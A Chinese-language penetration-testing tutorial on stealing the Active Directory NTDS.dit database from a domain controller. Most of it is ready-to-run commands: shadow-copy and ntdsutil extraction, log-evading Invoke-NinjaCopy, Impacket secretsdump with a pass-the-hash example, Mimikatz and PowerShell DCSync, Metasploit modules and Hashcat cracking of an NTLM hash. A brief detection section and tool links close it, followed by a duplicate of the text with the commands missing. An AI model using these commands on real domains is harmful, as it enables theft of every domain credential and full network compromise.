域控安全之ntds.dit导出
字数 1526 2025-08-11 17:39:49

域控安全之NTDS.dit导出技术详解

1. NTDS.dit文件概述

NTDS.dit是活动目录(Active Directory)的核心数据库文件,存储了域环境中的所有关键数据:

  • 文件路径:C:\Windows\NTDS\NTDS.dit
  • 包含内容:用户名、密码散列值、组信息、GPP、OU等域相关信息
  • 类似文件:工作组环境中的SAM文件(存储本地用户信息)
  • 依赖文件:需要配合C:\Windows\System32\config\SYSTEM文件(包含解密密钥)

2. 导出NTDS.dit的多种方法

2.1 使用ntdsutil.exe工具

适用系统:Windows Server 2003/2008/2012

步骤

  1. 创建快照:

    ntdsutil snapshot "activate instance ntds" create quit quit
    

    生成GUID如{06a1b343-93f9-4c1b-a613-d02c23f99759}

  2. 加载快照:

    ntdsutil snapshot "mount {GUID}" quit quit
    

    快照加载路径如C:\$SNAP_202110151711_VOLUMEC$\

  3. 拷贝文件:

    copy C:\$SNAP_202110151711_VOLUMEC$\windows\ntds\ntds.dit c:\windows\temp\ntds.dit
    
  4. 卸载删除快照:

    ntdsutil snapshot "unmount {GUID}" "delete {GUID}" quit quit
    

2.2 使用IFM方式导出

命令

ntdsutil "ac i ntds" "ifm" "create full c:/test" q q

生成文件:

  • c:/test/Active Directory/ntds.dit
  • c:/test/registry/systemsecurity文件

2.3 使用PowerShell脚本

Copy-VSS.ps1方法

Import-Module .\Copy-VSS.ps1
Copy-VSS
或指定目录:
Copy-VSS -DestinationDir C:\

Invoke-NinjaCopy方法

Import-Module .\Invoke-NinjaCopy.ps1
Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination "C:\ntds.dit"
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -LocalDestination "C:\system.hive"

优点:不产生7036日志事件

2.4 使用vssadmin工具

步骤

  1. 创建卷影拷贝:

    vssadmin create shadow /for=c:
    
  2. 复制文件:

    copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\windows\ntds\ntds.dit c:\ntds.dit
    
  3. 删除卷影:

    vssadmin delete shadows /for=c: /quiet
    

2.5 使用diskshadow.exe

脚本示例(保存为txt后执行):

set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% k:
exec "cmd.exe" /c copy k:\windows\ntds\ntds.dit c:\ntds.dit
delete shadows all
list shadows all
reset
exit

执行命令:

diskshadow.exe /s script.txt

3. SYSTEM文件导出方法

  1. 注册表方式:

    reg save hklm\system c:\system.hive
    
  2. 使用Copy-VSS或Invoke-NinjaCopy(如前所述)

4. 从NTDS.dit提取哈希值

4.1 使用esedbexport和ntdsxtract

步骤

  1. 安装依赖:

    apt-get install autoconf automake autopoint libtool pkg-config
    
  2. 恢复NTDS.dit:

    esedbexport -m tables ntds.dit
    

    生成ntds.dit.export文件夹,重点关注datatable.3link_table.5

  3. 提取哈希:

    python dsusers.py datatable.3 link_table.5 output --syshive SYSTEM --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout
    

4.2 使用Impacket的secretsdump

python2 secretsdump.py -system system -ntds ntds.dit LOCAL

或远程提取:

python2 secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:afffeba176210fad4628f0524bfe1942 -just-dc god.org/liukaifeng01r@x.x.x.x

4.3 使用Mimikatz的DCSync

lsadump::dcsync /domain:god.org /all /csv

或指定用户:

lsadump::dcsync /domain:god.org /user:ligang

4.4 使用PowerShell的DCSync脚本

Import-Module .\Invoke-DCSync.ps1
Invoke-DCSync -DumpForest | ft -wrap -autosize

或指定用户:

Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize

4.5 使用Metasploit模块

  1. 查找NTDS位置:

    post/windows/gather/ntds_location
    
  2. 导出哈希:

    run windows/gather/smart_hashdump
    
  3. 下载NTDS.dit:

    use post/windows/gather/ntds_grabber
    set session [id]
    run
    

5. 哈希破解示例

使用Hashcat破解NTLM哈希:

hashcat -m 1000 afffeba176210fad4628f0524bfe1942 wordlist.txt --force

6. 防御与检测建议

  1. 监控关键事件:

    • System Event ID 7036(卷影拷贝服务)
    • Event ID 98(ntdsutil操作)
  2. 监控可疑进程:

    • vssvc.exe
    • diskshadow.exe
    • 异常的逻辑驱动器映射
  3. 限制权限:

    • 严格控制域管理员权限
    • 限制对卷影拷贝服务的访问
  4. 定期审计:

    • 检查域控制器上的异常活动
    • 监控对NTDS.dit文件的访问尝试

7. 工具下载链接

  • libesedb: https://github.com/libyal/libesedb/releases
  • ntdsxtract: https://github.com/csababarta/ntdsxtract
  • Impacket: https://github.com/SecureAuthCorp/impacket
  • QuarksPwDump: https://github.com/redcanari/quarkspwdump/releases
  • vshadow.exe: https://www.msxfaq.de/tools/mswin/vshadow.htm
域控安全之NTDS.dit导出技术详解 1. NTDS.dit文件概述 NTDS.dit是活动目录(Active Directory)的核心数据库文件,存储了域环境中的所有关键数据: 文件路径: C:\Windows\NTDS\NTDS.dit 包含内容:用户名、密码散列值、组信息、GPP、OU等域相关信息 类似文件:工作组环境中的SAM文件(存储本地用户信息) 依赖文件:需要配合 C:\Windows\System32\config\SYSTEM 文件(包含解密密钥) 2. 导出NTDS.dit的多种方法 2.1 使用ntdsutil.exe工具 适用系统 :Windows Server 2003/2008/2012 步骤 : 创建快照: 生成GUID如 {06a1b343-93f9-4c1b-a613-d02c23f99759} 加载快照: 快照加载路径如 C:\$SNAP_202110151711_VOLUMEC$\ 拷贝文件: 卸载删除快照: 2.2 使用IFM方式导出 命令 : 生成文件: c:/test/Active Directory/ntds.dit c:/test/registry/system 和 security 文件 2.3 使用PowerShell脚本 Copy-VSS.ps1方法 : Invoke-NinjaCopy方法 : 优点:不产生7036日志事件 2.4 使用vssadmin工具 步骤 : 创建卷影拷贝: 复制文件: 删除卷影: 2.5 使用diskshadow.exe 脚本示例 (保存为txt后执行): 执行命令: 3. SYSTEM文件导出方法 注册表方式: 使用Copy-VSS或Invoke-NinjaCopy(如前所述) 4. 从NTDS.dit提取哈希值 4.1 使用esedbexport和ntdsxtract 步骤 : 安装依赖: 恢复NTDS.dit: 生成 ntds.dit.export 文件夹,重点关注 datatable.3 和 link_table.5 提取哈希: 4.2 使用Impacket的secretsdump 或远程提取: 4.3 使用Mimikatz的DCSync 或指定用户: 4.4 使用PowerShell的DCSync脚本 或指定用户: 4.5 使用Metasploit模块 查找NTDS位置: 导出哈希: 下载NTDS.dit: 5. 哈希破解示例 使用Hashcat破解NTLM哈希: 6. 防御与检测建议 监控关键事件: System Event ID 7036(卷影拷贝服务) Event ID 98(ntdsutil操作) 监控可疑进程: vssvc.exe diskshadow.exe 异常的逻辑驱动器映射 限制权限: 严格控制域管理员权限 限制对卷影拷贝服务的访问 定期审计: 检查域控制器上的异常活动 监控对NTDS.dit文件的访问尝试 7. 工具下载链接 libesedb: https://github.com/libyal/libesedb/releases ntdsxtract: https://github.com/csababarta/ntdsxtract Impacket: https://github.com/SecureAuthCorp/impacket QuarksPwDump: https://github.com/redcanari/quarkspwdump/releases vshadow.exe: https://www.msxfaq.de/tools/mswin/vshadow.htm